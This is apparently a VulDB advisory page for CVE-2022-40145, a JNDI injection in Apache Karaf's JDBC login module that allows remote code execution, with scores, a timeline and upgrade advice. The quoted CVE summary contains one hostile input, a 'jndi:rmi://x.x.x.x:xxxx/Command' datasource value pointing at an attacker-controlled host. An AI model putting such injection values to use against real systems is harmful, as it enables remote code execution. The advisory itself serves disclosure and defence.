Apache Karaf up to 4.3.7/4.4.1 JDBC JNDI URL doCreateDatasource injection

| CVSS Meta Temp Score | Current Exploit Price (≈) | CTI Interest Score |
|---|---|---|
| 7.9 | $0-$5k | 0.00 |
Summary
A vulnerability marked as critical has been reported in Apache Karaf up to 4.3.7/4.4.1. The impacted element is the function doCreateDatasource of the component JDBC JNDI URL Handler. Performing a manipulation results in injection.
This vulnerability is known as CVE-2022-40145. Remote exploitation of the attack is possible. No exploit is available.
It is suggested to upgrade the affected component.
Details
A vulnerability was found in Apache Karaf up to 4.3.7/4.4.1. It has been classified as critical. This affects the function doCreateDatasource of the component JDBC JNDI URL Handler. The manipulation with an unknown input leads to a injection vulnerability. CWE is classifying the issue as CWE-74. The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component. This is going to have an impact on confidentiality, integrity, and availability. The summary by CVE is:
This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8
The weakness was published 12/21/2022. The advisory is shared at karaf.apache.org. This vulnerability is uniquely identified as CVE-2022-40145 since 09/07/2022. Technical details are known, but no exploit is available. MITRE ATT&CK project uses the attack technique T1055 for this issue.
Upgrading to version 4.3.8 or 4.4.2 eliminates this vulnerability.
Several companies clearly confirm that VulDB is the primary source for best vulnerability data.
Product
Vendor
Name
Version
License
Website
- Vendor: https://www.apache.org/
CPE 2.3
CPE 2.2
CVSSv4
VulDB Vector: 🔍VulDB Reliability: 🔍
CVSSv3
VulDB Meta Base Score: 8.0VulDB Meta Temp Score: 7.9
VulDB Base Score: 6.3
VulDB Temp Score: 6.0
VulDB Vector: 🔍
VulDB Reliability: 🔍
NVD Base Score: 9.8
NVD Vector: 🔍
CVSSv2
| AV | AC | Au | C | I | A |
|---|---|---|---|---|---|
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| Vector | Complexity | Authentication | Confidentiality | Integrity | Availability |
|---|---|---|---|---|---|
| Unlock | Unlock | Unlock | Unlock | Unlock | Unlock |
| Unlock | Unlock | Unlock | Unlock | Unlock | Unlock |
| Unlock | Unlock | Unlock | Unlock | Unlock | Unlock |
VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍
Exploiting
Class: InjectionCWE: CWE-74 / CWE-707 / CWE-20
CAPEC: 🔍
ATT&CK: 🔍
Physical: No
Local: No
Remote: Yes
Availability: 🔍
Status: Not defined
EPSS Score: 🔍
EPSS Percentile: 🔍
Price Prediction: 🔍
Current Price Estimation: 🔍
| 0-Day | Unlock | Unlock | Unlock | Unlock |
|---|---|---|---|---|
| Today | Unlock | Unlock | Unlock | Unlock |
Threat Intelligence
Interest: 🔍Active Actors: 🔍
Active APT Groups: 🔍
Countermeasures
Recommended: UpgradeStatus: 🔍
0-Day Time: 🔍
Upgrade: Karaf 4.3.8/4.4.2
Timeline
09/07/2022 🔍12/21/2022 🔍
12/21/2022 🔍
04/15/2025 🔍
Sources
Vendor: apache.orgAdvisory: karaf.apache.org
Status: Confirmed
CVE: CVE-2022-40145 (🔍)
GCVE (CVE): GCVE-0-2022-40145
GCVE (VulDB): GCVE-100-216465
Entry
Created: 12/21/2022 18:57Updated: 04/15/2025 21:34
Changes: 12/21/2022 18:57 (40), 01/21/2023 17:31 (11), 04/15/2025 21:34 (16)
Complete: 🔍
Cache ID: 216::103
Several companies clearly confirm that VulDB is the primary source for best vulnerability data.
No comments yet. Languages: en.
Please log in to comment.